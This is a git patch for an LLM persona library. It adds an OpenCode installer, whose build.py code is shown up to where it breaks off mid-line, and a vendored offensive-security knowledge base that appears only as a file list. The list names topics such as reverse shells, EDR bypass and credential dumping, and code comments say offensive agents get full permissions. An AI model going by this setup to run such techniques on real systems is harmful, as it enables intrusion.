From 448d1cdcd9fd186b803e153f9d91c0edb37c8469 Mon Sep 17 00:00:00 2001 From: salvacybersec Date: Thu, 16 Apr 2026 03:11:44 +0300 Subject: [PATCH] feat(install): add OpenCode target + InternalAllTheThings knowledge base - install_opencode: deploys 29 personas as agents + 1011 skills to ~/.config/opencode/{agents,skills}/. Uses OpenCode's markdown+YAML agent format (mode/color/permission) and SKILL.md format. - Topic filter with sensible defaults (drops marketing/biz ~514 skills). CLI: --opencode-topics security-offensive,coding-backend,... - Clone of swisskyrepo/InternalAllTheThings (168 MD, 1.7MB) added to _shared/ as a reference trove for AD attack paths, ADCS ESC1-15, Kerberos delegation, NTLM relay/coerce, lateral movement, persistence. - NEO redteam + VORTEX cloud-ad personas reference the new KB with MITRE ATT&CK TTP mapping pointers. Co-Authored-By: Claude Opus 4.6 (1M context) --- CLAUDE.md | 3 +- build.py | 340 ++++ .../internal-allthethings/DISCLAIMER.md | 11 + .../_shared/internal-allthethings/README.md | 28 + .../active-directory/.gitkeep | 0 .../active-directory/CVE/MS14-068.md | 83 + .../active-directory/CVE/NoPAC.md | 164 ++ .../active-directory/CVE/PrintNightmare.md | 112 ++ .../active-directory/CVE/PrivExchange.md | 59 + .../active-directory/CVE/ZeroLogon.md | 111 ++ .../ad-adcs-certificate-services.md | 222 +++ .../active-directory/ad-adcs-esc.md | 17 + .../active-directory/ad-adcs-esc01.md | 53 + .../active-directory/ad-adcs-esc02.md | 21 + .../active-directory/ad-adcs-esc03.md | 20 + .../active-directory/ad-adcs-esc04.md | 41 + .../active-directory/ad-adcs-esc05.md | 43 + .../active-directory/ad-adcs-esc06.md | 27 + .../active-directory/ad-adcs-esc07.md | 76 + .../active-directory/ad-adcs-esc08.md | 103 ++ .../active-directory/ad-adcs-esc09.md | 52 + .../active-directory/ad-adcs-esc10.md | 54 + .../active-directory/ad-adcs-esc11.md | 53 + .../active-directory/ad-adcs-esc12.md | 61 + .../active-directory/ad-adcs-esc13.md | 76 + .../active-directory/ad-adcs-esc14.md | 64 + .../active-directory/ad-adcs-esc15.md | 53 + .../ad-adcs-golden-certificate.md | 94 + .../active-directory/ad-adds-acl-ace.md | 368 ++++ .../active-directory/ad-adds-enumerate.md | 426 +++++ .../ad-adds-group-policy-objects.md | 163 ++ .../active-directory/ad-adds-groups.md | 175 ++ .../active-directory/ad-adds-linux.md | 231 +++ .../ad-adds-machineaccountquota.md | 46 + .../active-directory/ad-adds-ntds-dumping.md | 194 ++ .../active-directory/ad-adds-recycle-bin.md | 82 + .../active-directory/ad-adds-rodc.md | 68 + .../ad-adfs-federation-services.md | 133 ++ .../active-directory/ad-integrated-dns.md | 80 + .../active-directory/ad-roasting-asrep.md | 134 ++ .../ad-roasting-kerberoasting.md | 104 ++ .../ad-roasting-timeroasting.md | 16 + .../active-directory/ad-tricks.md | 38 + .../active-directory/deployment-mdt.md | 41 + .../active-directory/deployment-sccm.md | 373 ++++ .../active-directory/deployment-scom.md | 62 + .../active-directory/deployment-wsus.md | 14 + .../active-directory/hash-capture.md | 135 ++ .../hash-over-pass-the-hash.md | 26 + .../active-directory/hash-pass-the-hash.md | 49 + .../active-directory/hash-pass-the-key.md | 58 + .../active-directory/internal-dcom.md | 117 ++ .../internal-pxe-boot-image.md | 54 + .../active-directory/internal-relay-coerce.md | 151 ++ .../internal-relay-kerberos.md | 114 ++ .../active-directory/internal-relay-ntlm.md | 452 +++++ .../active-directory/internal-shares.md | 180 ++ .../active-directory/kerberos-bronze-bit.md | 69 + .../kerberos-delegation-constrained.md | 78 + .../kerberos-delegation-rbcd.md | 100 ++ .../kerberos-delegation-unconstrained.md | 131 ++ .../active-directory/kerberos-s4u.md | 39 + .../active-directory/kerberos-tickets.md | 195 ++ .../active-directory/pwd-comments.md | 37 + .../active-directory/pwd-dsrm-credentials.md | 18 + .../pwd-group-policy-preferences.md | 58 + .../pwd-precreated-computer.md | 39 + .../active-directory/pwd-read-dmsa.md | 111 ++ .../active-directory/pwd-read-gmsa.md | 93 + .../active-directory/pwd-read-laps.md | 100 ++ .../pwd-shadow-credentials.md | 118 ++ .../active-directory/pwd-spraying.md | 93 + .../active-directory/trust-pam.md | 57 + .../active-directory/trust-relationship.md | 51 + .../active-directory/trust-sid-hijacking.md | 31 + .../active-directory/trust-ticket.md | 56 + .../cheatsheets/as-400.md | 657 +++++++ .../cheatsheets/escape-breakout.md | 179 ++ .../files/escape-breakout-mspaint.bmp | Bin 0 -> 74 bytes .../cheatsheets/hash-cracking.md | 162 ++ .../cheatsheets/liferay.md | 153 ++ .../cheatsheets/mimikatz-cheatsheet.md | 321 ++++ .../cheatsheets/miscellaneous-tricks.md | 44 + .../cheatsheets/network-discovery.md | 372 ++++ .../cheatsheets/powershell-cheatsheet.md | 364 ++++ .../cheatsheets/shell-bind-cheatsheet.md | 101 ++ .../cheatsheets/shell-reverse-cheatsheet.md | 669 +++++++ .../internal-allthethings/cloud/.gitkeep | 0 .../cloud/aws/aws-access-token.md | 102 ++ .../cloud/aws/aws-cli.md | 70 + .../cloud/aws/aws-cognito.md | 85 + .../cloud/aws/aws-dynamodb.md | 34 + .../cloud/aws/aws-ec2.md | 125 ++ .../cloud/aws/aws-enumeration.md | 127 ++ .../cloud/aws/aws-iam.md | 162 ++ .../cloud/aws/aws-ioc-detection.md | 37 + .../cloud/aws/aws-lambda.md | 52 + .../cloud/aws/aws-metadata.md | 113 ++ .../cloud/aws/aws-s3-bucket.md | 161 ++ .../cloud/aws/aws-ssm.md | 28 + .../cloud/aws/aws-training.md | 8 + .../cloud/azure/aka-ms.md | 102 ++ .../cloud/azure/azure-access-and-token.md | 427 +++++ .../azure-ad-conditional-access-policy.md | 92 + .../cloud/azure/azure-ad-connect.md | 128 ++ .../cloud/azure/azure-devices-users-sp.md | 256 +++ .../cloud/azure/azure-enumeration.md | 257 +++ .../cloud/azure/azure-persistence.md | 70 + .../cloud/azure/azure-phishing.md | 153 ++ .../cloud/azure/azure-requirements.md | 37 + .../azure-services-application-endpoint.md | 20 + .../azure/azure-services-application-proxy.md | 17 + .../azure-services-container-registry.md | 54 + .../azure-services-deployment-template.md | 22 + .../cloud/azure/azure-services-devops.md | 165 ++ .../cloud/azure/azure-services-keyvault.md | 42 + .../azure/azure-services-microsoft-intune.md | 79 + .../cloud/azure/azure-services-office-365.md | 32 + .../cloud/azure/azure-services-runbook.md | 86 + .../azure/azure-services-storage-blob.md | 77 + .../azure/azure-services-virtual-machine.md | 52 + .../cloud/azure/azure-services-web-apps.md | 50 + .../cloud/azure/azure-services-web-domains.md | 39 + .../cloud/ibm/ibm-cloud-databases.md | 130 ++ .../cloud/ibm/ibm-cloud-object-storage.md | 119 ++ .../command-control/.gitkeep | 0 .../command-control/cobalt-strike-beacons.md | 112 ++ .../command-control/cobalt-strike-kits.md | 98 ++ .../command-control/cobalt-strike.md | 306 ++++ .../command-control/metasploit.md | 233 +++ .../command-control/mythic.md | 74 + .../internal-allthethings/containers/.gitkeep | 0 .../containers/docker.md | 271 +++ .../containers/kubernetes.md | 391 ++++ .../_shared/internal-allthethings/custom.css | 40 + .../databases/mssql-audit-checks.md | 66 + .../databases/mssql-command-execution.md | 314 ++++ .../databases/mssql-credentials.md | 101 ++ .../databases/mssql-enumeration.md | 166 ++ .../databases/mssql-linked-database.md | 107 ++ .../internal-allthethings/devops/README.md | 35 + .../devops/cicd-azure-devops.md | 34 + .../devops/cicd-buildkite.md | 12 + .../devops/cicd-circle-ci.md | 15 + .../devops/cicd-drone-ci.md | 14 + .../devops/cicd-github-actions.md | 179 ++ .../devops/cicd-gitlab-ci.md | 122 ++ .../devops/package-managers.md | 194 ++ .../devops/secrets-enumeration.md | 47 + .../methodology/android-applications.md | 562 ++++++ .../methodology/bug-hunting-methodology.md | 308 ++++ .../methodology/source-code-analysis.md | 160 ++ .../methodology/vulnerability-reports.md | 113 ++ .../internal-allthethings/redteam/.gitkeep | 0 .../redteam/access/clickfix.md | 33 + .../redteam/access/html-smuggling.md | 44 + .../redteam/access/initial-access.md | 196 +++ .../redteam/access/office-attacks.md | 791 +++++++++ .../redteam/access/phishing.md | 85 + .../redteam/access/web-attack-surface.md | 156 ++ .../access/windows-download-execute.md | 121 ++ .../access/windows-using-credentials.md | 498 ++++++ .../escalation/linux-privilege-escalation.md | 868 +++++++++ .../windows-privilege-escalation.md | 1565 +++++++++++++++++ .../redteam/evasion/edr-bypass.md | 83 + .../redteam/evasion/elastic-edr.md | 99 ++ .../redteam/evasion/linux-evasion.md | 137 ++ .../redteam/evasion/opsec-fails.md | 64 + .../redteam/evasion/proxy-bypass.md | 105 ++ .../redteam/evasion/windows-amsi-bypass.md | 781 ++++++++ .../redteam/evasion/windows-defenses.md | 602 +++++++ .../redteam/evasion/windows-dpapi.md | 97 + .../redteam/persistence/linux-persistence.md | 340 ++++ .../redteam/persistence/rdp-persistence.md | 96 + .../persistence/windows-persistence.md | 711 ++++++++ .../pivoting/network-pivoting-techniques.md | 193 ++ .../pivoting/network-pivoting-tools.md | 145 ++ personas/neo/redteam.md | 9 + personas/vortex/cloud-ad.md | 17 + 179 files changed, 26140 insertions(+), 1 deletion(-) create mode 100644 personas/_shared/internal-allthethings/DISCLAIMER.md create mode 100644 personas/_shared/internal-allthethings/README.md create mode 100644 personas/_shared/internal-allthethings/active-directory/.gitkeep create mode 100644 personas/_shared/internal-allthethings/active-directory/CVE/MS14-068.md create mode 100644 personas/_shared/internal-allthethings/active-directory/CVE/NoPAC.md create mode 100644 personas/_shared/internal-allthethings/active-directory/CVE/PrintNightmare.md create mode 100644 personas/_shared/internal-allthethings/active-directory/CVE/PrivExchange.md create mode 100644 personas/_shared/internal-allthethings/active-directory/CVE/ZeroLogon.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-certificate-services.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc01.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc02.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc03.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc04.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc05.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc06.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc07.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc08.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc09.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc10.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc11.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc12.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc13.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc14.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-esc15.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adcs-golden-certificate.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-acl-ace.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-enumerate.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-group-policy-objects.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-groups.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-linux.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-machineaccountquota.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-ntds-dumping.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-recycle-bin.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adds-rodc.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-adfs-federation-services.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-integrated-dns.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-roasting-asrep.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-roasting-kerberoasting.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-roasting-timeroasting.md create mode 100644 personas/_shared/internal-allthethings/active-directory/ad-tricks.md create mode 100644 personas/_shared/internal-allthethings/active-directory/deployment-mdt.md create mode 100644 personas/_shared/internal-allthethings/active-directory/deployment-sccm.md create mode 100644 personas/_shared/internal-allthethings/active-directory/deployment-scom.md create mode 100644 personas/_shared/internal-allthethings/active-directory/deployment-wsus.md create mode 100644 personas/_shared/internal-allthethings/active-directory/hash-capture.md create mode 100644 personas/_shared/internal-allthethings/active-directory/hash-over-pass-the-hash.md create mode 100644 personas/_shared/internal-allthethings/active-directory/hash-pass-the-hash.md create mode 100644 personas/_shared/internal-allthethings/active-directory/hash-pass-the-key.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-dcom.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-pxe-boot-image.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-relay-coerce.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-relay-kerberos.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-relay-ntlm.md create mode 100644 personas/_shared/internal-allthethings/active-directory/internal-shares.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-bronze-bit.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-delegation-constrained.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-delegation-rbcd.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-delegation-unconstrained.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-s4u.md create mode 100644 personas/_shared/internal-allthethings/active-directory/kerberos-tickets.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-comments.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-dsrm-credentials.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-group-policy-preferences.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-precreated-computer.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-read-dmsa.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-read-gmsa.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-read-laps.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-shadow-credentials.md create mode 100644 personas/_shared/internal-allthethings/active-directory/pwd-spraying.md create mode 100644 personas/_shared/internal-allthethings/active-directory/trust-pam.md create mode 100644 personas/_shared/internal-allthethings/active-directory/trust-relationship.md create mode 100644 personas/_shared/internal-allthethings/active-directory/trust-sid-hijacking.md create mode 100644 personas/_shared/internal-allthethings/active-directory/trust-ticket.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/as-400.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/escape-breakout.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/files/escape-breakout-mspaint.bmp create mode 100644 personas/_shared/internal-allthethings/cheatsheets/hash-cracking.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/liferay.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/mimikatz-cheatsheet.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/miscellaneous-tricks.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/network-discovery.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/powershell-cheatsheet.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/shell-bind-cheatsheet.md create mode 100644 personas/_shared/internal-allthethings/cheatsheets/shell-reverse-cheatsheet.md create mode 100644 personas/_shared/internal-allthethings/cloud/.gitkeep create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-access-token.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-cli.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-cognito.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-dynamodb.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-ec2.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-enumeration.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-iam.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-ioc-detection.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-lambda.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-metadata.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-s3-bucket.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-ssm.md create mode 100644 personas/_shared/internal-allthethings/cloud/aws/aws-training.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/aka-ms.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-access-and-token.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-ad-conditional-access-policy.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-ad-connect.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-devices-users-sp.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-enumeration.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-persistence.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-phishing.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-requirements.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-application-endpoint.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-application-proxy.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-container-registry.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-deployment-template.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-devops.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-keyvault.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-microsoft-intune.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-office-365.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-runbook.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-storage-blob.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-virtual-machine.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-web-apps.md create mode 100644 personas/_shared/internal-allthethings/cloud/azure/azure-services-web-domains.md create mode 100644 personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-databases.md create mode 100644 personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-object-storage.md create mode 100644 personas/_shared/internal-allthethings/command-control/.gitkeep create mode 100644 personas/_shared/internal-allthethings/command-control/cobalt-strike-beacons.md create mode 100644 personas/_shared/internal-allthethings/command-control/cobalt-strike-kits.md create mode 100644 personas/_shared/internal-allthethings/command-control/cobalt-strike.md create mode 100644 personas/_shared/internal-allthethings/command-control/metasploit.md create mode 100644 personas/_shared/internal-allthethings/command-control/mythic.md create mode 100644 personas/_shared/internal-allthethings/containers/.gitkeep create mode 100644 personas/_shared/internal-allthethings/containers/docker.md create mode 100644 personas/_shared/internal-allthethings/containers/kubernetes.md create mode 100644 personas/_shared/internal-allthethings/custom.css create mode 100644 personas/_shared/internal-allthethings/databases/mssql-audit-checks.md create mode 100644 personas/_shared/internal-allthethings/databases/mssql-command-execution.md create mode 100644 personas/_shared/internal-allthethings/databases/mssql-credentials.md create mode 100644 personas/_shared/internal-allthethings/databases/mssql-enumeration.md create mode 100644 personas/_shared/internal-allthethings/databases/mssql-linked-database.md create mode 100644 personas/_shared/internal-allthethings/devops/README.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-azure-devops.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-buildkite.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-circle-ci.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-drone-ci.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-github-actions.md create mode 100644 personas/_shared/internal-allthethings/devops/cicd-gitlab-ci.md create mode 100644 personas/_shared/internal-allthethings/devops/package-managers.md create mode 100644 personas/_shared/internal-allthethings/devops/secrets-enumeration.md create mode 100644 personas/_shared/internal-allthethings/methodology/android-applications.md create mode 100644 personas/_shared/internal-allthethings/methodology/bug-hunting-methodology.md create mode 100644 personas/_shared/internal-allthethings/methodology/source-code-analysis.md create mode 100644 personas/_shared/internal-allthethings/methodology/vulnerability-reports.md create mode 100644 personas/_shared/internal-allthethings/redteam/.gitkeep create mode 100644 personas/_shared/internal-allthethings/redteam/access/clickfix.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/html-smuggling.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/initial-access.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/office-attacks.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/phishing.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/web-attack-surface.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/windows-download-execute.md create mode 100644 personas/_shared/internal-allthethings/redteam/access/windows-using-credentials.md create mode 100644 personas/_shared/internal-allthethings/redteam/escalation/linux-privilege-escalation.md create mode 100644 personas/_shared/internal-allthethings/redteam/escalation/windows-privilege-escalation.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/edr-bypass.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/elastic-edr.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/linux-evasion.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/opsec-fails.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/proxy-bypass.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/windows-amsi-bypass.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/windows-defenses.md create mode 100644 personas/_shared/internal-allthethings/redteam/evasion/windows-dpapi.md create mode 100644 personas/_shared/internal-allthethings/redteam/persistence/linux-persistence.md create mode 100644 personas/_shared/internal-allthethings/redteam/persistence/rdp-persistence.md create mode 100644 personas/_shared/internal-allthethings/redteam/persistence/windows-persistence.md create mode 100644 personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-techniques.md create mode 100644 personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-tools.md diff --git a/CLAUDE.md b/CLAUDE.md index 4d2da2f..1d2ac98 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -4,7 +4,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co ## What This Is -A platform-agnostic system prompt library for LLM agents. 29 personas across 10 domains, 111 variants, 59,712 words. Includes 795 shared skills, 58 brand design systems, 23 company agents, and auto-install to 6 platforms (Claude, Antigravity, Gemini, OpenClaw, Paperclip, raw). +A platform-agnostic system prompt library for LLM agents. 29 personas across 10 domains, 111 variants, 59,712 words. Includes 795 shared skills, 58 brand design systems, 23 company agents, and auto-install to 7 platforms (Claude, Antigravity, Gemini, OpenClaw, OpenCode, Paperclip, raw). ## Build @@ -59,6 +59,7 @@ python3 build.py --install claude # 111 slash commands → ~/.claude/comma python3 build.py --install antigravity # personas → ~/.config/antigravity/personas/ python3 build.py --install gemini # Gems → generated/_gems/ python3 build.py --install openclaw # IDENTITY.md + 29 personas → generated/_openclaw/ +python3 build.py --install opencode # 29 agents + 1530 skills → ~/.config/opencode/{agents,skills}/ python3 build.py --install paperclip # 52 agents + 73 skills → generated/_paperclip/ python3 build.py --install all # all platforms at once ``` diff --git a/build.py b/build.py index 81cedf5..7d048a4 100755 --- a/build.py +++ b/build.py @@ -1226,6 +1226,320 @@ def install_antigravity(output_dir: Path): return count +OPENCODE_TOPICS = { + "security-offensive", + "security-defensive", + "security-cloud", + "security-specialized", + "security-iam", + "security-network", + "security-general", + "ai-llm-dev", + "coding-backend", + "coding-frontend", + "coding-tools", + "cloud-infra", + "database", + "browser-scrape", + "ops-sysadmin", + "osint-intel", + "marketing-content", + "business-pm", + "uncategorized", +} + +# Default set: dev + security + AI + ops. Drops marketing/biz fluff. +OPENCODE_DEFAULT_TOPICS = { + "security-offensive", "security-defensive", "security-cloud", + "security-specialized", "security-iam", "security-network", + "security-general", + "ai-llm-dev", "coding-backend", "coding-frontend", "coding-tools", + "cloud-infra", "database", "browser-scrape", "ops-sysadmin", + "osint-intel", +} + + +def _classify_skill_topic(name: str, fm: dict) -> str: + """Map a skill to one of OPENCODE_TOPICS based on frontmatter + name.""" + CYBER_MAP = { + "red-teaming": "security-offensive", + "penetration-testing": "security-offensive", + "web-application-security": "security-offensive", + "api-security": "security-offensive", + "mobile-security": "security-offensive", + "cryptography": "security-offensive", + "threat-hunting": "security-defensive", + "threat-intelligence": "security-defensive", + "threat-detection": "security-defensive", + "digital-forensics": "security-defensive", + "incident-response": "security-defensive", + "soc-operations": "security-defensive", + "security-operations": "security-defensive", + "malware-analysis": "security-defensive", + "ransomware-defense": "security-defensive", + "phishing-defense": "security-defensive", + "endpoint-security": "security-defensive", + "deception-technology": "security-defensive", + "network-security": "security-network", + "cloud-security": "security-cloud", + "container-security": "security-cloud", + "identity-access-management": "security-iam", + "zero-trust-architecture": "security-iam", + "ot-ics-security": "security-specialized", + "vulnerability-management": "security-specialized", + "devsecops": "security-specialized", + "compliance-governance": "security-specialized", + "application-security": "security-specialized", + "supply-chain-security": "security-specialized", + } + sd = fm.get("subdomain") + if sd in CYBER_MAP: + return CYBER_MAP[sd] + if fm.get("domain") == "cybersecurity": + return "security-general" + + NAME_PATTERNS = [ + ("coding-frontend", r"^(react|nextjs|next-|angular|vue-|svelte|tailwind|shadcn|vercel|expo|remotion|frontend|ui-ux|accessibility|canvas-|stitch|framer)"), + ("coding-backend", r"^(python|java-|csharp|dotnet|aspnet|kotlin|swift|rust-|golang|go-|ruby-|php-|nodejs|node-|bash-|cli-|bazel|async-|architecting-|aspire-)"), + ("coding-tools", r"^(commit|changelog|debug-|refactor|test-driven|tdd|bdd|git-|github-|gitlab-|bats|copilot|codeql|code-review|linting|formatting|add-|adr-|agent-browser|mcp-)"), + ("ai-llm-dev", r"^(ai-|agentic|claude-|mcp|openai|anthropic|llm|rag-|embedding|fine-tun|prompt|anythingllm|olla|huggingface|elevenlabs|crawl-for-ai|agent-tools|agent-ui|agent-governance|para-memory|knowledge-hub)"), + ("cloud-infra", r"^(aws|azure|gcp|kubernetes|docker|terraform|cloudflare|vercel|netlify|supabase|firebase|k8s|iac|devops|cicd|ansible|helm|bigquery|airflow|az-)"), + ("database", r"^(sql-|postgres|mysql|mongodb|redis)"), + ("browser-scrape", r"^(browser|playwright|puppeteer|firecrawl|stealth|scrape|crawl|use-my-browser)"), + ("osint-intel", r"^(osint|recon|intel-|foia|seithar|deep-scraper|stealth-browser|social-trust|news-crawler|proudguard|gov-cyber|tavily|session-logs|youtube-transcript)"), + ("marketing-content", r"^(copywriting|content-|seo-|blog-|article-|marketing-|ad-(creative|campaign)|brand-|banner|churn|billing|gtm-|competitive|backlink|boost|twitter|ai-social|ai-marketing|ai-content|ai-podcast|ai-music|ai-avatar|ai-automation|ai-image|ai-video|impeccable)"), + ("ops-sysadmin", r"^(healthcheck|sysadmin|dns-networking|network-|nmap-|pcap-|tmux|freshrss|obsidian-|librarian|pdf-|image-ocr|mistral-ocr|analyze|weather|node-connect|clawflow|skill-creator|devops-engineer)"), + ("business-pm", r"^(ceo-|cfo-|product-manager|marketing-strategist|marketing-psychology|qa-testing|design-md|persona-customer|product-|gtm-|arize|dataverse|power-|microsoft-)"), + ("security-offensive", r"^(exploiting|pentest-|performing-(web|api|initial|privilege|credential|graphql|soap|lateral|clickjacking|subdomain|open-source|wireless|physical|iot|external|directory|oauth|csrf|web-application|web-cache|http|thick|content-security|active-directory|kerberoasting|second-order|blind-ssrf|jwt-none|initial-access)|testing-(for|api|oauth2|jwt|websocket|websocket-api|cors)|sql-injection|pwnclaw-security)"), + ("security-defensive", r"^(security-(review|audit|scanner|headers|skill-scanner)|senior-secops|threat-|ctf-|sys-guard|clawsec|agent-intelligence|war-intel|sentinel)"), + ] + for topic, pattern in NAME_PATTERNS: + if re.match(pattern, name.lower()): + return topic + return "uncategorized" + + +def _parse_skill_frontmatter_simple(skill_md: Path) -> dict: + """Minimal YAML frontmatter parser — just key: value pairs.""" + try: + text = skill_md.read_text(encoding="utf-8", errors="ignore") + except Exception: + return {} + if not text.startswith("---"): + return {} + end = text.find("\n---", 4) + if end < 0: + return {} + fm = {} + for line in text[4:end].splitlines(): + m = re.match(r"^([a-z_]+):\s*(.+?)\s*$", line) + if m: + fm[m.group(1)] = m.group(2).strip().strip('"\'') + return fm + + +def install_opencode( + output_dir: Path, + shared_dir: Path | None = None, + topics: set[str] | None = None, +): + """Install personas to OpenCode as agents + skills. + + OpenCode agent format (per https://opencode.ai/docs/agents/): + - Location: ~/.config/opencode/agents/.md + - YAML frontmatter: description, mode (primary|subagent), model, + temperature, color, permission (edit/bash/webfetch/task). + + OpenCode skill format (per https://opencode.ai/docs/skills/): + - Location: ~/.config/opencode/skills//SKILL.md + - YAML frontmatter: name, description (required). + - OpenCode ALSO reads ~/.claude/skills/ natively. + + Args: + topics: set of topics to install (see OPENCODE_TOPICS). Defaults to + OPENCODE_DEFAULT_TOPICS which drops marketing/biz skills. + """ + if topics is None: + topics = OPENCODE_DEFAULT_TOPICS + agents_dir = Path.home() / ".config" / "opencode" / "agents" + skills_dir = Path.home() / ".config" / "opencode" / "skills" + agents_dir.mkdir(parents=True, exist_ok=True) + skills_dir.mkdir(parents=True, exist_ok=True) + + # Offensive/engineering personas get full permissions (primary mode). + # Analytical personas are subagents with readonly bias. + OFFENSIVE_DOMAINS = { + "cybersecurity", + "engineering", + "devops", + "software-development", + "ai-ml", + } + + DOMAIN_COLOR = { + "cybersecurity": "error", # 